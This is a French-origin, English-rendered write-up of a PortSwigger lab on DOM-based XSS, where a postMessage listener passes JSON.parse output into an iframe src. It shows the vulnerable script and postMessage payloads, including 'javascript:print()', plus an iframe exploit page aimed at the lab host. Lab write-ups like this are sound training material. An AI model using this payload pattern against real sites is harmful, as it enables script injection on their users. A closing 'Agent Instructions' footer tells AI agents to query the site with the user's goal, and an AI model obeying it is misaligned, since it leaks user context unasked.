> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/dom/xss-dom-with-web-messages-and-json-parse.md).

# XSS DOM with Web Messages and json.parse

XSS DOM with Web Messages and json.parse notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### DOM XSS Using Web Messages and JSON.parse

This document reformulates and translates into French the notes provided on the lab (PortSwigger): it describes the vulnerable code, how it interprets messages, and the payload used to call `print()` via a `iframe`.

Description of the vulnerable script

The script dynamically creates a `iframe` tag and remote control via messages received by the `postMessage` event. It can load a URL, adjust the size of the player and scroll it into the page.

```javascript
<script>
window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe},
        d;

    document.body.appendChild(iframe);

    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }

    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;

        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;

        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);
</script>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a4f05fb6729419561be70ca3f869b1c54bd4b1%2F%7B9AA2E293-698F-467F-B999-AF6D94227B80%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### `postMessage` Message Example

Sending a stringed JSON message allows the script to interpret the requested action.

Load a normal URL:

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "https://jord4n.pro"
}), "*");
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83947f1c966af58cd853eb3e3558d4d43dfe6a20%2F%7BF44BA329-510F-4498-875F-388807192C72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Use a `JavaScript:` schema to run code (here call `print()`):

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "javascript:print()"
}), "*");
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd38813137faa317fcc0754d51ba7ce96ba4c1de%2F%7B97D8AF92-6E52-40C4-80E7-0F79B0FB1F70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

On the operating server, you can drop an HTML page with a `iframe` pointing to the vulnerable page and post the `load-string` message with `URL: "JavaScript:print()"` when loading the iframe.

```javascript
<iframe
  src="https://0ab900e304d6807a80b30312007a000d.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage(JSON.stringify({type:"load-channel",url:"javascript:print()"}),"*"); "
</iframe>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/dom/xss-dom-with-web-messages-and-json-parse.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
